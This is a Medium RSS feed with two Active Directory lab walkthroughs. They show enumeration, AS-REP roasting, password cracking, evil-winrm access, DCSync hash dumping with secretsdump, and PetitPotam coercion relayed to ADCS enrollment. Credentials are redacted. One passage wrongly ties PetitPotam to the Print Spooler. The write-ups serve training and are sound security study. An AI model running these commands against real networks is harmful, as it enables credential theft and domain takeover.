<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by incoggeek on Medium]]></title>
        <description><![CDATA[Stories by incoggeek on Medium]]></description>
        <link>https://medium.com/@incoggeek?source=rss-ae85c9e708cc------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*wXCtBdVRHE-_BTBLxxlxvQ.png</url>
            <title>Stories by incoggeek on Medium</title>
            <link>https://medium.com/@incoggeek?source=rss-ae85c9e708cc------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 30 Nov 2026 06:04:35 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@incoggeek/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[MartiniAD Active Directory Lab Walkthrough [HackSmarter]]]></title>
            <link>https://infosecwriteups.com/martini-active-directory-lab-walkthrough-hacksmarter-f880eaa40f8d?source=rss-ae85c9e708cc------2</link>
            <guid isPermaLink="false">https://medium.com/p/f880eaa40f8d</guid>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[incoggeek]]></dc:creator>
            <pubDate>Mon, 18 May 2026 09:56:34 GMT</pubDate>
            <atom:updated>2026-05-19T09:01:31.681Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*2LsDKOKRKO6HsSaPnWO_eA.gif" /></figure><p>Hey hackers!</p><p>Hope you’re all doing great and staying curious. Lately, I’ve been spending a lot of time diving into Active Directory. If you’re working in the corporate world, you know AD is basically the heart of the network which also makes it the biggest target.</p><p>I’ve been solving another AD lab to sharpen my skills, and I wanted to share a writeup of one I just finished. It was a great reminder of how a few small misconfigurations can lead to a total compromise.</p><h3>1. Host Configuration</h3><p>Before jumping into the tools, I updated my /etc/hosts file. This ensures that when we call the Domain Controller or the domain itself, our system knows exactly where to route the traffic.</p><p>Open the file with sudo: sudo nano /etc/hosts</p><p>And add the following entry (after basic recon i found these):</p><pre>machine-ip dc01.dry.martini.bars dc01 dry.martini.bars</pre><p>Once that’s saved, we can start interacting with the dry.martini.bars domain using its proper hostnames.</p><h3>2. Initial Reconnaissance</h3><pre># Nmap 7.94SVN scan initiated Fri May 15 00:48:42 2026 as: /usr/lib/nmap/nmap -vvv -p 53,88,139,135,389,445,464,593,636,3269,3268,3389,5985,9389,49664,49667,49668,49670,49677,49678,49698,49710,58002 -4 -sC -sV -oN maritinAD 10.1.104.32<br>Nmap scan report for 10.1.104.32<br>Host is up, received echo-reply ttl 126 (0.40s latency).<br>Scanned at 2026-05-15 00:48:42 EDT for 168s<br><br>PORT      STATE SERVICE            REASON          VERSION<br>53/tcp    open  domain             syn-ack ttl 126 Simple DNS Plus<br>88/tcp    open  kerberos-sec       syn-ack ttl 126 Microsoft Windows Kerberos (server time: 2026-05-15 04:48:50Z)<br>135/tcp   open  msrpc              syn-ack ttl 126 Microsoft Windows RPC<br>139/tcp   open  netbios-ssn        syn-ack ttl 126 Microsoft Windows netbios-ssn<br>389/tcp   open  ldap               syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: DRY.MARTINI.BARS0., Site: Default-First-Site-Name)<br>445/tcp   open  microsoft-ds?      syn-ack ttl 126<br>464/tcp   open  kpasswd5?          syn-ack ttl 126<br>593/tcp   open  ncacn_http         syn-ack ttl 126 Microsoft Windows RPC over HTTP 1.0<br>636/tcp   open  tcpwrapped         syn-ack ttl 126<br>3268/tcp  open  ldap               syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: DRY.MARTINI.BARS0., Site: Default-First-Site-Name)<br>3269/tcp  open  tcpwrapped         syn-ack ttl 126<br>3389/tcp  open  ssl/ms-wbt-server? syn-ack ttl 126<br>| ssl-cert: Subject: commonName=DC01.DRY.MARTINI.BARS<br>| Issuer: commonName=DC01.DRY.MARTINI.BARS<br>| Public Key type: rsa<br>| Public Key bits: 2048<br>| Signature Algorithm: sha256WithRSAEncryption<br>| Not valid before: 2026-01-16T01:19:23<br>| Not valid after:  2026-07-18T01:19:23<br>| MD5:   e45f:2ccb:66e0:e93a:ce42:62b8:4f09:0850<br>| SHA-1: 2ffc:e1c5:3163:c9dd:cf69:e82a:b091:67a3:1324:0dc7<br>| -----BEGIN CERTIFICATE-----<br>| MIIC7jCCAdagAwIBAgIQTPVeL4Dy9LpJHK+XV9l0XTANBgkqhkiG9w0BAQsFADAg<br>| MR4wHAYDVQQDExVEQzAxLkRSWS5NQVJUSU5JLkJBUlMwHhcNMjYwMTE2MDExOTIz<br>| WhcNMjYwNzE4MDExOTIzWjAgMR4wHAYDVQQDExVEQzAxLkRSWS5NQVJUSU5JLkJB<br>| UlMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDJ/g3psOOQlBbVnAig<br>| rAYTEQ8FxugvGM5s7YHuxmG/gP5Iv8bXE0vUo8XbK5ycmrnRbmFfqMM6VWNHqMHt<br>| J1hZj8Lrg0++mn+fAO4yoelcTIZqMp+zdXlkKZJZMUjarKz3QJPBMLJPDIbP9FZI<br>| j9p/UldHNLJ2IUKYk13YRq3tHwiUJcIvZYp7cGGwhCBE1j5jrNYPl2wFEFh8T52k<br>| zDK3AvqPF8GrMrdeMM8XfbfG4XqFksw6Th0hbLErFlwDu9wqR9gVJNwtR0Ax4UKV<br>| KGbFxwB/H8EQjTiRIs9V7oRp2Faimv9DhgeNcs1nx2JsJaYR0zIRdpMg+XqvWUlK<br>| +GMVAgMBAAGjJDAiMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAsGA1UdDwQEAwIEMDAN<br>| BgkqhkiG9w0BAQsFAAOCAQEAJCrr+jqxs05xpZsTgAAU0PM+kz8a7vfYPxCqGQnJ<br>| xq88r8WEm9czyGx5YEzF9dRhQdPJvYjXQTsyhqqi/Jo1GklBczktoSSF/BtPGh5f<br>| abY/WNHhSDxTvdRSXB2VTY1EuU5JOJZZF0gilntX8xw3WnWPlBVKQAIAnFU2Qtsr<br>| Tgb+xv6Qat3PlC6d3R/zYAGUyRCsHfz95743eZzQhouns47XUevMRAG+2BEDyeDI<br>| Cpw1SvP5JoRG4uC5vPcbJ1ZOzLTnZN88hdSv4ysqLY8fSZli7deTaGMm7HG6pQKe<br>| qJJ/d0iwa+CuGAsG4RziqAuWJ1qOdwh3AjaGd1no7kXmxQ==<br>|_-----END CERTIFICATE-----<br>|_ssl-date: TLS randomness does not represent time<br>| rdp-ntlm-info: <br>|   Target_Name: DRY<br>|   NetBIOS_Domain_Name: DRY<br>|   NetBIOS_Computer_Name: DC01<br>|   DNS_Domain_Name: DRY.MARTINI.BARS<br>|   DNS_Computer_Name: DC01.DRY.MARTINI.BARS<br>|   Product_Version: 10.0.26100<br>|_  System_Time: 2026-05-15T04:50:40+00:00<br>5985/tcp  open  http               syn-ack ttl 126 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>|_http-title: Not Found<br>9389/tcp  open  mc-nmf             syn-ack ttl 126 .NET Message Framing<br>49664/tcp open  msrpc              syn-ack ttl 126 Microsoft Windows RPC<br>49667/tcp open  msrpc              syn-ack ttl 126 Microsoft Windows RPC<br>49668/tcp open  msrpc              syn-ack ttl 126 Microsoft Windows RPC<br>49670/tcp open  msrpc              syn-ack ttl 126 Microsoft Windows RPC<br>49677/tcp open  msrpc              syn-ack ttl 126 Microsoft Windows RPC<br>49678/tcp open  ncacn_http         syn-ack ttl 126 Microsoft Windows RPC over HTTP 1.0<br>49698/tcp open  msrpc              syn-ack ttl 126 Microsoft Windows RPC<br>49710/tcp open  msrpc              syn-ack ttl 126 Microsoft Windows RPC<br>58002/tcp open  msrpc              syn-ack ttl 126 Microsoft Windows RPC<br>Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows<br><br>Host script results:<br>| smb2-time: <br>|   date: 2026-05-15T04:50:43<br>|_  start_date: N/A<br>|_clock-skew: mean: 0s, deviation: 0s, median: 0s<br>| smb2-security-mode: <br>|   3:1:1: <br>|_    Message signing enabled but not required<br>| p2p-conficker: <br>|   Checking for Conficker.C or higher...<br>|   Check 1 (port 56988/tcp): CLEAN (Timeout)<br>|   Check 2 (port 43134/tcp): CLEAN (Timeout)<br>|   Check 3 (port 64645/udp): CLEAN (Timeout)<br>|   Check 4 (port 57066/udp): CLEAN (Timeout)<br>|_  0/4 checks are positive: Host is CLEAN or ports are blocked</pre><p>A critical distinction must be made between <strong>Anonymous Logons</strong> and the <strong>Guest Account</strong>. Anonymous logons represent an unauthenticated state (Null Session) which modern operating systems strictly restrict. Conversely, the Guest account is a legitimate, built-in security principal. When left enabled with Read/Write permissions, it allows unauthenticated network actors to masquerade as local users, leading to unauthorized data exposure and a total loss of non-repudiation in security logs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4ZhQezJWFXCqxYaUhAU_uA.png" /><figcaption>No Access</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6aQ0MMw7PpbUMcMItS83ww.png" /><figcaption>Read/Write Access</figcaption></figure><p>A critical finding during the passive share enumeration phase was a leaky file system setup. A readable text file, notes.txt, exposed operational habits and, crucially, an entry point:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/1*1Ni0ZKn5wirOsfPjow0_dA.png" /><figcaption>Downloaded and found an AD user creds</figcaption></figure><pre>cat notes.txt       <br>- Order more gin for lakeside<br>- Look for an engagement ring<br>- Check that notes works from Linux Mint<br><br>creds<br>redacted</pre><h4>User Enumeration</h4><p>With a valid foothold established through the compromised credentials of mprice, the next step was to perform active user enumeration. Instead of blind brute-forcing, I used the authentic session to pull a definitive list of valid domain objects. The goal was to feed these usernames into an <strong>AS-REP Roasting</strong> attack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OuA0EvLXgoX-SSQQcqYUHw.png" /></figure><pre>nxc smb 10.1.104.32 -u &quot;redacted&quot; -p &quot;redacted&quot; --users | awk &#39;{print $5}&#39; | sed -n &#39;4,9p&#39; | tee users</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/727/1*uyxfzZ29JM6pxWB-tLxGFw.png" /></figure><h3>3. AS-REP Roasting</h3><p>The tool pulled a hash for an AD user . This means this account is vulnerable because it doesn&#39;t require pre-authentication.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DQ0RHumFQmm83yRs0CkInQ.png" /><figcaption>Identified an account with UF_DONT_REQUIRE_PREAUTH enabled</figcaption></figure><h3>4. Password Cracking</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/748/1*RqYKb_XiywC06RDCdpftTA.png" /></figure><h3>5. Remote Connection (EvilRM)</h3><p>I leveraged evil-winrm to authenticate to the Domain Controller using the newly acquired credentials</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/967/1*_reiDw3kj-4Zw57Eh7Ak5g.png" /><figcaption>PowerShell</figcaption></figure><h3>6. Secret Dumps</h3><p>The technique is known as <strong>Password Spraying</strong> or <strong>Credential Reuse</strong>. In many environments, administrators or automated setups reuse identical passwords across multiple accounts (such as a standard service account and a high-privilege admin account) to make management easier.</p><p>Because I discovered that athena.t0 shared the exact same password (redacted) as athena_svc, I was able to pivot to an account that held explicit <strong>DCSync replication rights</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YaTCKxe98h_6Y6IlI2O2GQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m-3PqosSG4fG5Rj2NfrQTQ.png" /></figure><pre>secretsdump.py &#39;athena.t0:&lt;redcated&gt;@DC01.DRY.MARTINI.BARS&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PSGqeNdz4SDnuIJrTrH_Lg.png" /><figcaption>Got All the hash</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/370/1*95sGgujHjwunor9fVcaBsw.gif" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f880eaa40f8d" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/martini-active-directory-lab-walkthrough-hacksmarter-f880eaa40f8d">MartiniAD Active Directory Lab Walkthrough [HackSmarter]</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ShadowGate Active Directory Lab Walkthrough [HackSmarter]]]></title>
            <link>https://infosecwriteups.com/shadowgate-active-directory-lab-walkthrough-hacksmarter-682901853271?source=rss-ae85c9e708cc------2</link>
            <guid isPermaLink="false">https://medium.com/p/682901853271</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[secuirty]]></category>
            <category><![CDATA[capture-the-flag]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[incoggeek]]></dc:creator>
            <pubDate>Wed, 13 May 2026 09:17:59 GMT</pubDate>
            <atom:updated>2026-05-14T11:34:36.621Z</atom:updated>
            <content:encoded><![CDATA[<iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FASd0Ukj0y3qMM%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExeHAxdDF0YmUzYjV6c280MmpyMTJ0dGF0cGVkbG9oNGxqc2tkNjQ5cSZlcD12MV9naWZzX3NlYXJjaCZjdD1n%2FASd0Ukj0y3qMM%2Fgiphy.gif&amp;image=https%3A%2F%2Fmedia3.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExMHc4ZDhpeXAyd3Nyc3F0cmMxZW9ydGxvOXl4ODYzZDBxYW8wazk5ZiZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw%2FASd0Ukj0y3qMM%2Fgiphy_s.gif&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="326" frameborder="0" scrolling="no"><a href="https://medium.com/media/c119f4c22aeaf71b6b68425f14c3be99/href">https://medium.com/media/c119f4c22aeaf71b6b68425f14c3be99/href</a></iframe><p>Hey hackers!</p><p>Hope you’re all doing great and staying curious. Lately, I’ve been spending a lot of time diving into Active Directory. If you’re working in the corporate world, you know AD is basically the heart of the network which also makes it the biggest target.</p><p>I’ve been solving some labs to sharpen my skills, and I wanted to share a writeup of one I just finished. It was a great reminder of how a few small misconfigurations can lead to a total compromise.</p><h3>1. Host Configuration</h3><p>Before jumping into the tools, I updated my /etc/hosts file. This ensures that when we call the Domain Controller or the domain itself, our system knows exactly where to route the traffic.</p><p>Open the file with sudo: sudo nano /etc/hosts</p><p>And add the following entry:</p><pre>&lt;machine-ip&gt;  shadow.gate  DC01.shadow.gate</pre><p>Once that’s saved, we can start interacting with the <strong>shadow.gate</strong> domain using its proper hostnames.</p><h3>Initial Reconnaissance</h3><p>Now that we’ve got our hosts mapped, it’s time to see what’s actually running. I started with a standard <strong>Nmap</strong> scan to map out the attack surface of the Domain Controller.</p><pre>nmap -sV  10.1.23.212 -sC -oN shadowgate-fullscan <br><br>Nmap scan report for 10.1.23.212<br>Host is up (0.34s latency).<br>Not shown: 987 filtered tcp ports (no-response)<br>PORT     STATE SERVICE       VERSION<br>53/tcp   open  domain        Simple DNS Plus<br>80/tcp   open  http          Microsoft IIS httpd 10.0<br>|_http-server-header: Microsoft-IIS/10.0<br>|_http-title: IIS Windows Server<br>| http-methods: <br>|_  Potentially risky methods: TRACE<br>88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-05-08 04:25:56Z)<br>135/tcp  open  msrpc         Microsoft Windows RPC<br>139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn<br>389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: shadow.gate0., Site: Default-First-Site-Name)<br>|_ssl-date: TLS randomness does not represent time<br>| ssl-cert: Subject: commonName=DC01.shadow.gate<br>| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&lt;unsupported&gt;, DNS:DC01.shadow.gate<br>| Not valid before: 2026-01-15T01:10:24<br>|_Not valid after:  2027-01-15T01:10:24<br>445/tcp  open  microsoft-ds?<br>464/tcp  open  kpasswd5?<br>593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0<br>636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: shadow.gate0., Site: Default-First-Site-Name)<br>| ssl-cert: Subject: commonName=DC01.shadow.gate<br>| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&lt;unsupported&gt;, DNS:DC01.shadow.gate<br>| Not valid before: 2026-01-15T01:10:24<br>|_Not valid after:  2027-01-15T01:10:24<br>|_ssl-date: TLS randomness does not represent time<br>3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: shadow.gate0., Site: Default-First-Site-Name)<br>|_ssl-date: TLS randomness does not represent time<br>| ssl-cert: Subject: commonName=DC01.shadow.gate<br>| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&lt;unsupported&gt;, DNS:DC01.shadow.gate<br>| Not valid before: 2026-01-15T01:10:24<br>|_Not valid after:  2027-01-15T01:10:24<br>3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: shadow.gate0., Site: Default-First-Site-Name)<br>| ssl-cert: Subject: commonName=DC01.shadow.gate<br>| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&lt;unsupported&gt;, DNS:DC01.shadow.gate<br>| Not valid before: 2026-01-15T01:10:24<br>|_Not valid after:  2027-01-15T01:10:24<br>|_ssl-date: TLS randomness does not represent time<br>3389/tcp open  ms-wbt-server Microsoft Terminal Services<br>|_ssl-date: 2026-05-08T04:27:21+00:00; 0s from scanner time.<br>| rdp-ntlm-info: <br>|   Target_Name: SHADOW<br>|   NetBIOS_Domain_Name: SHADOW<br>|   NetBIOS_Computer_Name: DC01<br>|   DNS_Domain_Name: shadow.gate<br>|   DNS_Computer_Name: DC01.shadow.gate<br>|   Product_Version: 10.0.20348<br>|_  System_Time: 2026-05-08T04:26:42+00:00<br>| ssl-cert: Subject: commonName=DC01.shadow.gate<br>| Not valid before: 2026-01-11T02:45:29<br>|_Not valid after:  2026-07-13T02:45:29<br>Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows<br><br>Host script results:<br>| smb2-time: <br>|   date: 2026-05-08T04:26:42<br>|_  start_date: N/A<br>| smb2-security-mode: <br>|   3:1:1: <br>|_    Message signing enabled but not required</pre><p>With the ports open and the host mapped, I moved on to <strong>enum4linux </strong>and <strong>netexec</strong>. This tool is a classic for a reason and it’s great for pulling information out of SMB and RPC services when they aren’t locked down tightly.</p><pre>enum4linux 10.1.23.212<br>nxc smb 10.1.23.212 -u &#39;&#39; -p &#39;&#39; --users</pre><p>The output was a goldmine. It managed to scrape a full list of users and groups from the domain. This is a huge win early on because it gives us half of the equation for a brute-force or a roasting attack.</p><p><strong>Enumerated Users and Groups</strong></p><pre>Administrator<br>amoss<br>ATHENA<br>bbrown<br>clocke<br>Guest<br>jbradford<br>jsmith<br>jtrueblood<br>krbtgt<br>mbrownlee<br>tclarke</pre><pre>Administrators<br>Users<br>Guests<br>Remote Desktop Users<br>Backup Operators<br>Print Operators<br>Server Operators<br>Account Operators<br>Remote Management Users<br>Hyper-V Administrators</pre><p>Saved the usernames into a file named wordlist.</p><h3>AS-REP Roasting</h3><p>The script successfully pulled a hash for jtrueblood. This means this account is vulnerable because it doesn&#39;t require pre-authentication.</p><pre>python3 /usr/share/doc/python3-impacket/examples/GetNPUsers.py shadow.gate/ \\<br>-dc-ip 10.1.23.212 \\<br>-no-pass \\<br>-usersfile wordlist</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ORwIz77Cyuhx7ZxcdU69Yw.png" /><figcaption>Identified an account with <strong>UF_DONT_REQUIRE_PREAUTH</strong> enabled</figcaption></figure><h4>Cracking the AS-REP Hash</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ySVijUHrvHD0rkhR1s2OvQ.png" /><figcaption>Cracked the hash successfully</figcaption></figure><h4><strong>Analyzing </strong>BloodHound</h4><p>Once I had a foothold and a set of credentials, it was time to see the “big picture.” In a complex environment like <strong>shadow.gate</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/894/1*ePK_zzkhakGbNwEGQ3ZWcQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/967/1*zL2fkMJePPuZnc7zrv06qQ.png" /></figure><p>The user <strong>jtrueblood </strong>had control over the <strong>bbrown </strong>account, allowing abuse through Shadow Credentials.</p><h4>Compromised An AD User</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rUjLM31RFQjlDa2xc8hS6Q.png" /><figcaption>Got hash for bbrown and later i got plaint text password both works</figcaption></figure><h4>SMB Enumeration</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B6GLub2kal_CDQMA_CUY3A.png" /><figcaption>SMB Image 1</figcaption></figure><p><strong>SMB Signing</strong> is a security feature in the SMB (Server Message Block) protocol that prevents the exact NTLM relay attacks. Think of it as a “digital signature” on every packet sent between a client and a server.</p><h4>How it Works</h4><p>When SMB Signing is enabled and required, every message has a signature attached to it that is generated using the user’s session key. This allows both ends to verify that the data hasn’t been tampered with or intercepted by someone in the middle.</p><ul><li><strong>If Signing is REQUIRED:</strong> You cannot relay an NTLM authentication to that server. The server will expect a signed packet, but since you (the attacker) don’t have the session key, you can’t sign the packets. The connection will be dropped.</li><li><strong>If Signing is NOT REQUIRED (Disabled):</strong> This is the attacker’s dream. You can relay a victim’s authentication to the server and execute commands (like psexec) because the server doesn&#39;t check for a signature.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*plRy2UYi2HVAsuBzDcyDEw.png" /><figcaption>SMB Image 2</figcaption></figure><p>The <strong>CertEnroll</strong> share on the Domain Controller (shadow.gate) is accessible with <strong>READ ONLY</strong> permissions. This is a significant find for an Active Directory security test because it confirms the presence of <strong>Active Directory Certificate Services (ADCS)</strong>.</p><h4>1. Identifying the Certificate Authority (CA)</h4><p>The file DC01.shadow.gate_shadow-DC01-CA.crt is the <strong>Root CA Certificate</strong>.</p><ul><li><strong>Why it matters:</strong> By downloading this, you can identify exactly which server is acting as the Certificate Authority. In this case, it’s clearly DC01.</li><li><strong>Testing Use:</strong> You can inspect this certificate to see the encryption algorithms used. If it’s using outdated or weak hashing (like SHA-1), that’s a finding in itself.</li></ul><h4>2. Hunting for ADCS Misconfigurations (ESC1 — ESC8)</h4><p>The mere existence of this share tells us the environment uses ADCS for issuing certificates to users and machines. This opens the door to several “ESC” (Escalation) techniques.</p><ul><li><strong>ESC1 (Misconfigured Certificate Templates):</strong> If a template allows “Enrollee Supplies Subject,” you can request a certificate as a Domain Admin.</li><li><strong>ESC8 (NTLM Relay to ADCS HTTP Enrollment):</strong> Look at the .asp file in(nsrev_shadow-DC01-CA.asp). This suggests an enrollment web interface might be active. You could potentially relay NTLM authentication from a victim machine to this web interface to get a certificate for that victim</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/871/1*Ls88LdU7dBnRNr8DyH6QoQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/913/1*C96jk9TLx_763xhFvcx0rQ.png" /></figure><h3>The Background</h3><p>We need to pause here and understand an important concepts, I also got after solving this machine. In a large corporate network, servers are constantly communicating. A Domain Controller needs to tell other servers about updates, and servers need to ask the DC for permission to do things.</p><p>Windows uses a protocol called <strong>MS-RPC</strong> (Microsoft Remote Procedure Call) to handle these “requests.” Think of it like one computer calling another on the phone and asking it to perform a specific task.</p><h4>The Problem: Automatic Authentication</h4><p>When a Windows machine (like <strong>DC01</strong>) “calls” another machine to perform a task, it doesn’t just talk anonymously. It usually identifies itself using its <strong>Machine Account credentials</strong> (e.g., DC01$).</p><p>If you can trick the DC into “calling” <strong>your</strong> attack box instead of a legitimate server, the DC will automatically send its NTLM credentials to you to prove who it is.</p><h4>“Coercing” Authentication</h4><p>“Coercing” is just a fancy word for <strong>forcing</strong>. Since you can’t just log into the DC and tell it to send you its password, you use a “trigger” (an exploit or a bug) to make the DC think it <em>needs</em> to talk to you.</p><h4>How the “Force” Works (The Logic):</h4><ol><li><strong>The Trigger:</strong> You send a specific RPC command to the DC.</li><li><strong>The Bait:</strong> That command says: <em>“Hey DC01, I have a file you need to check,”</em> or <em>“I’m a printer that needs an update, please connect to my IP to send it.”</em></li><li><strong>The Bite:</strong> The DC believes the request is legitimate. It starts a connection to your IP address.</li><li><strong>The Identity Leak:</strong> To start that connection, the DC sends an <strong>NTLM Negotiate</strong> packet. This packet contains the DC’s identity.</li></ol><h4>PetitPotam (MS-EFSRPC)</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vrz8JI2asGJesFCXfi67Ew.png" /></figure><ul><li><strong>The Concept:</strong> It exploits the Print Spooler service. It exploits the Encrypting File System (EFS) protocol.</li><li><strong>The Attack:</strong> You tell the DC: You call a function that tells the DC: <em>“There is a file share at </em><em>\\Your_Attack_IP\share\file. Please go there and check the encryption status.&quot;</em></li><li><strong>Why it works:</strong> The DC’s Print Spooler service is designed to be helpful. It immediately tries to connect to you to send those “notifications,” handing over its credentials in the process. The DC attempts to access your “share” to check the file. To access a share, it must first authenticate, so it sends its NTLM credentials to your machine.</li></ul><h4>The Final Step: The Relay (ESC8)</h4><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FCh1zCx8tu6DQY%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExb3luZTc3Nzl6NzcwczJtdjc5eXQzZWRvbnd5bWIzYTliMmpydHB0ZyZlcD12MV9naWZzX3NlYXJjaCZjdD1n%2FCh1zCx8tu6DQY%2Fgiphy.gif&amp;image=https%3A%2F%2Fmedia0.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExMG4zYTg4ancza2FrejNqbjdtZHJyMTlwdmFrMGJudWNzNW43a2Y1cCZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw%2FCh1zCx8tu6DQY%2Fgiphy_s.gif&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="226" frameborder="0" scrolling="no"><a href="https://medium.com/media/bea0b7d4e41c66b109a1adad4bd8258e/href">https://medium.com/media/bea0b7d4e41c66b109a1adad4bd8258e/href</a></iframe><p>Once you have the DC “on the phone” (sending you its credentials), you don’t just keep them. You <strong>relay</strong> (forward) them to the <strong>ADCS Web Enrollment</strong> page you found</p><ul><li><strong>You:</strong> “I’m not the one you want to talk to. Talk to this Web Server instead.”</li><li><strong>The DC:</strong> (Sends credentials to the Web Server).</li><li><strong>The Web Server:</strong> “Oh, hi DC01! Since you proved who you are, here is a digital certificate for your account.”</li><li><strong>The Result:</strong> You intercept that certificate. Now you can act as the Domain Controller whenever you want.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oXsXaw8SigebmKfa95SomQ.png" /><figcaption>Got the private key</figcaption></figure><pre>python PetitPotam.py -u &#39;bbrown&#39; -p &#39;redacted&#39; &lt;Attacker IP&gt; 10.1.23.212</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/856/1*m9cPxEVAK2k75fzK9BxmRQ.png" /><figcaption>Output of petitpotam.py</figcaption></figure><p>Using the certificate, I requested a Kerberos Ticket Granting Ticket (TGT) for the Domain Controller machine account (DC01$). Because AD trusts its own certificates for authentication (PKINIT), the DC couldn&#39;t say no.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*SIV9VzIyBV6av2hXT5dhEg.png" /><figcaption>Got the hash of DC for futher attack</figcaption></figure><p>Once I was authenticated as the machine account, I had the high-level privileges needed to perform a <strong>DCSync</strong> attack. This allows an attacker to simulate the replication process between Domain Controllers and pull any password hash from the database.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/841/1*GNKyoNIPTLFt5Fk4wNos5A.png" /><figcaption>I got all the credentials</figcaption></figure><iframe 